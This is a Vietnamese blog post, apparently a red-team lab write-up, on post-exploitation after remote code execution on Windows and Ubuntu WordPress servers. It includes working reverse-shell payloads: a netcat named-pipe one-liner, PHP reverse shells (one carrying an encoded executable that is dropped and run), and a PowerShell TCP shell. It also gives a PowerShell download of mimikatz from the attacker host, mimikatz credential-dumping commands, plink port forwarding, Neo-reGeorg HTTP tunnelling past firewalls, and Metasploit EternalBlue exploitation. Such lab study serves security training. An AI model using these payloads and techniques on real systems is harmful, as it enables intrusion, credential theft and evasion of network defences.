---
# System prepended metadata

title: "Các kỹ thuật post exploitation\U0001F644"
tags: [linux, encrypted-webshell, post-exploitation, windows, redteam]

---

# Các kỹ thuật post exploitation 🙄

<style>body {text-align: justify}</style>

Blog này tập trung tìm hiểu các kĩ thuật, công cụ để attacker truy cập và tấn công sâu sau khi đã RCE một máy chủ (gọi là máy victim). Trong bài này, máy victim là một máy *Windows Server 2008 R2* cài *XAMPP* chạy *Wordpress* hoặc một máy *Ubuntu* cài *LAMPP* chạy *Wordpress*.

![](https://hackmd.io/_uploads/HysbGbjBn.png)

Thông tin cấu hình các máy:

| **User** |         **OS**         |      **IP**     |
|:--------:|:----------------------:|:---------------:|
| Attacker |       Windows 10       |  192.168.127.1  |
| Victim 1 | Windows Server 2008 R2 | 192.168.127.131 |
| Victim 2 |         Ubuntu         | 192.168.127.134 |

### 1. Hệ thống victim có hệ thống IDS và WAF để phát hiện tấn công. Do đó traffic từ attacker đến victim cần được mã hóa. Viết webshell `shell.php` có hai chức năng sau:

Webshell sẽ bao gồm 2 file:
- `shell.html`: Giao diện của webshell chứa form submit theo yêu cầu với chức năng mã hóa và giải mã bằng thư viện CryptoJS của JS.
- `shell.php`: Đảm nhiệm giải mã request và thực thi trước khi mã hóa lại để trả về cho browser.

Thuật toán mã hóa đối xứng được sử dụng là AES 256 bit với mode CBC. Giả định trong bài này là đã upload được webshell lên được victim server.

#### 1.1. Chức năng chạy lệnh: mã hóa lệnh truyền lên, server giải mã lệnh, thực thi lệnh sau đó mã hóa output trả về browser, browser sử dụng javascript giải mã output và hiển thị ra. Sử dụng thuật toán mã hóa đối xứng tùy chọn.

Truy cập giao diện webshell tại `/shell.html`, chứa form submit command cần RCE. Kết quả được trả về sau khi trải qua quá trình mã hóa bởi victim server và giải mã bởi browser.

![](https://hackmd.io/_uploads/r1gSyRc8h.png)

Check request bằng Burpsuite ta thấy command gửi đi và output gửi về đều được mã hóa thành công.

![](https://hackmd.io/_uploads/SJNiGAqL3.png)


#### 1.2. Upload file: upload được file lên thư mục bất kì

Chức năng upload cho phép upload file bất kì. Ví dụ dưới đây là upload file `IQ.png` đến thư mục hiện tại.

![](https://hackmd.io/_uploads/ryq5VAqU3.png)

Còn đây là upload file `IQ.png` đến thư mục cha của thư mục hiện tại. Kiểm tra ta thấy upload thành công.

![](https://hackmd.io/_uploads/r1jTN0cUn.png)

Tất nhiên filename cũng như file data đều được mã hóa trước khi gửi. Response của server cũng được mã hóa.

![](https://hackmd.io/_uploads/HkHeB0qUn.png)

### 2. Attacker cần chạy lệnh nhanh chóng trên máy victim. Sử dụng webshell để chạy lệnh rất bất tiện do đó attacker đã sử dụng reverse shell. Tìm hiểu 2 cách reverse shell trên linux và 2 cách reverse shell trên windows.

Các payload sau sẽ reverse shell về máy attacker có địa chỉ IP `192.168.127.1` tại port `9001`.

#### 2.1 Reverse shell Linux

**CÁCH 1:** 
```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.127.1 9001 >/tmp/f
```

![](https://hackmd.io/_uploads/ryZwGup8h.png)

**CÁCH 2:** Sử dụng PHP payload tạo bởi [Pentestmonkey](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php) 

```
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.127.1';  // CHANGE THIS
$port = 9001;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

...

?> 
```

Upload file `pentestmonkey.php` lên webroot.

![](https://hackmd.io/_uploads/Hk-ge_6L3.png)

Truy cập đến `/pentestmonkey.php` và ta có shell.

![](https://hackmd.io/_uploads/rJzz-_aU2.png)

#### 2.2 Reverse shell Windows

**CÁCH 1:** Payload được lấy từ https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php

Tạo 1 file `reverse_shell.php` có nội dung như sau:

```
<?php

header('Content-type: text/plain');
$ip   = "192.168.127.1"; 
$port = "9001"; 
$payload = "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";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
			            
?>
```

Sử dụng chức năng upload file để upload `reverse_shell.php` tại thư mục webroot hiện tại.

![](https://hackmd.io/_uploads/BJpHc05U3.png)

Truy cập đến `http://<Victim IP>/reverse_shell.php`, ta đã reverse shell thành công về máy attacker. Tất nhiên attacker đã lắng nghe port `9001` trước đó.

![](https://hackmd.io/_uploads/BkZB5A9Ln.png)

**CÁCH 2:** Powershell payload
```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.127.1',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

Attacker lắng nghe tại port `9001`. Gửi payload trên bằng command tại webshell, ta nhận được shell của victim.

![](https://hackmd.io/_uploads/r1mCSAcL3.png)


### 3. Attacker đã chạy shell với quyền administrator trên máy chủ Windows. Tuy nhiên attacker muốn lấy được password của tài khoản administrator để dùng đi tấn công các máy khác trong mạng nội bộ. Tìm hiểu công cụ `mimikatz` để dump hash và password trên máy victim.

> 🧨 *Mimikatz* là một công cụ opensource khai thác các lỗ hổng để xem các thông tin bảo mật của Windows như mật khẩu, mã PIN, mã hash của password, Kerberos tickets, … từ RAM. Nó thường được sử dụng bởi hacker hay các loại virus để đánh cắp thêm các thông tin bảo mật của máy để phục vụ quá trình điều khiển, kiểm soát máy tính một cách mạnh mẽ nhất.

Sau khi reverse shell thành công, ta sẽ có 2 cách để upload mimikatz lên máy nạn nhân.

**Cách 1:** Sử dụng chức năng upload file của webshell để upload `mimikatz.exe`.

![](https://hackmd.io/_uploads/SJOpJ1oUh.png)

**Cách 2:**

Mở 1 simple HTTP server tại port `9999` bằng Python tại thư mục chứa `mimikatz.exe`

![](https://hackmd.io/_uploads/rJeC2I1fUh.png)

Gửi command sau tại reverse shell để download file `mimikatz.exe` về:

```
PS C:\Users\Administrator> (New-Object System.Net.WebClient).DownloadFile("http://192.168.127.1:9999/mimikatz.exe", "C:\Users\Administrator\mimikatz.exe")
```

Thực thi mimikatz với các options:

```
PS C:\Users\Administrator> .\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'
```
Trong đó: 
- Chạy `mimikatz.exe` với quyền Admin
- Lệnh `privilege::debug` dùng để bắt đầu chế độ debug tiến trình của hệ thống 
- Module `sekurlsa::logonpasswords` dùng để lấy password của máy từ RAM.

![](https://hackmd.io/_uploads/BJ9f5yGI3.png)

Kết quả ta dump được password của `Administrator` là `123456`.

### 4. Attacker đã biết mật khẩu administrator. Attacker muốn RDP vào máy victim. Tuy nhiên máy victim lại không public port 3389. Tìm hiểu kỹ thuật SSH port forwarding và công cụ plink. Demo forward port 3389 về máy attacker và RDP vào máy victim.

> 🧨 *SSH Tunneling* hay còn gọi *SSH Port Forwarding* là một kĩ thuật cho phép tạo một hầm kết nối mã hóa giữa 1 máy local và 1 máy remote server thông qua giao thức SSH. Có 3 loại SSH Port Forwarding:
    > - Local Port Forwarding
    > - Remote Port Forwarding
    > - Dynamic Port Forwarding
>
>Chi tiết tham khảo: https://viblo.asia/p/ssh-port-forwarding-157G5nalvAje

> 🧨 *PuTTy* là một ứng dụng miễn phí và mã nguồn mở được sử dụng để thiết lập kết nối SSH, Telnet, rlogin và serial console trên các máy tính từ xa. Nó được phát triển ban đầu cho hệ điều hành Windows và là một công cụ phổ biến được sử dụng để truy cập và quản lý các máy chủ từ xa.
> 🧨 *Plink* (PuTTY Link) là một tiện ích dòng lệnh được cung cấp bởi PuTTY, nó là phiên bản dòng lệnh của PuTTY. Plink được sử dụng để tạo kết nối SSH từ dòng lệnh và thực thi các lệnh từ xa trên máy chủ từ xa. Plink cung cấp các tính năng và chức năng tương tự như PuTTY, nhưng hoạt động trong môi trường dòng lệnh, thích hợp cho việc tự động hóa, hoặc scripting.

Ban đầu victim không public port 3389 nên ta connect không thành công.

![](https://hackmd.io/_uploads/ByRLTBjS3.png)

Sử dụng kĩ thuật Local Port Forwarding như sau:

```shell
plink -4 -L 127.0.0.1:8888:192.168.127.131:3389 Administrator@192.168.127.131
```

Theo đó, các traffic đến port `8888` của máy attacker sẽ được forward qua `192.168.127.131:3389` của nạn nhân.

![](https://hackmd.io/_uploads/r1GqTJzU3.png)

RDP đến `127.0.0.1:8888`,

![](https://hackmd.io/_uploads/r1O28QnLh.png)

và ta connect thành công.

![](https://hackmd.io/_uploads/HkcC87hI2.png)

### 5. Máy victim sử dụng firewall chặn outbound ra ngoài do đó attacker không thể dùng reverse shell hoặc forward port. Nhưng tiếc thay, attacker lại biết kỹ thuật http tunnel và proxychains. Tìm hiểu 1 công cụ http tunnel (ví dụ `Tunna`, `reGeorg`, `ABPTTS`) và công cụ `proxifier` trên windows để thực hiện RDP vào máy victim kể cả khi victim không public port 3389 và chặn outbound ra ngoài.

\* Sử dụng Neo-reGeorg để HTTP Tunneling

Tạo tunnel payload bằng câu lệnh sau với `-k <password>`

```
python3 neoreg.py generate -k vcs
```

![](https://hackmd.io/_uploads/ryhBLzsU3.png)

Upload `tunnel.php` lên thư mục webroot của nạn nhân.

![](https://hackmd.io/_uploads/BJDv8MiUn.png)

Thực thi tunnel bằng câu lệnh:

```
python3 neoreg.py -k vcs -u http://<Victim IP>/tunnel.php 
```

![](https://hackmd.io/_uploads/BJroUfjLh.png)

1 Proxy SOCKS5 server được tạo tại `127.0.0.1:1080` để forward traffic qua tunnel.

Lúc này, tại Proxifier, tạo proxy server `127.0.0.1` với Port `1080` và giao thức SOCKS5.

![](https://hackmd.io/_uploads/B1kR4Xi83.png)

Set rules, ví dụ chế độ `Default` là mặc định các request đều đi qua proxy server vừa tạo.

![](https://hackmd.io/_uploads/HkP8UQjI2.png)

Test thử ta thấy, mặc dù IP máy hiện tại là `192.168.127.1` nhưng khi request thì log hiển thị IP của máy nạn nhân `192.168.127.131`, tức là ta đã http tunneling thành công.

![](https://hackmd.io/_uploads/HJ9UL7iIn.png)

Giờ chỉ việc set rule cho RDP đi qua proxy server (Tắt chế độ `Default`).

![](https://hackmd.io/_uploads/rkIwRNiIh.png)

Lúc này RDP đến máy nạn nhân thành công.

![](https://hackmd.io/_uploads/r19TREiIn.png)

![](https://hackmd.io/_uploads/Hkv4yriUh.png)

Kiểm tra traffic thấy nó đi qua tunnel thành công.

![](https://hackmd.io/_uploads/HyfgJSsI3.png)

### 6. Trong quá trình pentest, metasploit là một công cụ được sử dụng phổ biến. Sử dụng metasploit để chiếm quyền và tạo phiên meterpreter trên máy victim.

> 🧨 Máy victim sử dụng Windows Server 2008 R2 SP1 dính rất nhiều lỗ hổng nghiêm trọng, trong đó có *EternalBlue MS17-010*. Lỗ hổng MS17-010, hay còn được gọi là lỗ hổng EternalBlue, là một lỗ hổng bảo mật nhắm đến dịch vụ SMBv1 chạy trên các hệ thống Windows trải dài từ Windows XP cho đến tận Windows 10 version 1607. Lỗ hổng MS17-010 lợi dụng cơ chế xử lý sai các gói tin không bình thường của giao thức SMBv1 để tiến hành xâm nhập vào hệ thống mục tiêu. Ransomware WannaCry khét tiếng năm 2017 đã lợi dụng lỗ hổng MS17-010 này để tấn công các hệ thống chưa được vá lỗi và lây lan ra toàn thế giới.

Sử dụng `nmap` để quét ra máy victim đang mở port 445.

![](https://hackmd.io/_uploads/HkDN6un83.png)

Mở metasploit bằng lệnh `msfconsole` và sử dụng lệnh `search` để tìm lỗ hổng liên quan `eternalblue`. Sau đó, `Use 0` để sử dụng module đầu tiên để tấn công.

![](https://hackmd.io/_uploads/r1TF4EhI3.png)

Các trường cần set để tấn công:

![](https://hackmd.io/_uploads/BkMUE428n.png)

Trong đó,
- `RHOSTS`: IP máy mục tiêu
- `RPORT`: 445, chính là port SMB
- `LHOST`: IP attacker
- `LPORT`: port để lắng nghe callback từ máy nạn nhân

Thực hiện set các trường cần thiết như hình dưới.

![](https://hackmd.io/_uploads/B1Bppdh8n.png)

Bắt đầu exploit bằng lệnh `run`, kết quả trả về máy victim dính MS17-010 EternalBlue.

![](https://hackmd.io/_uploads/BybO0d2Lh.png)

Và sau đó, payload được gửi và ta nhận được một phiên meterpreter. Dùng lệnh `sysinfo` để check thông tin máy nạn nhân.

![](https://hackmd.io/_uploads/rkupajTLn.png)

Để có thể lên shell thì gõ lệnh `shell`.

**References**

- https://woshub.com/ssh-tunnel-port-forward-windows/
- https://www.mandiant.com/resources/blog/bypassing-network-restrictions-through-rdp-tunneling

###### tags: `redteam`, `linux`, `windows`, `post-exploitation`, `encrypted-webshell`.
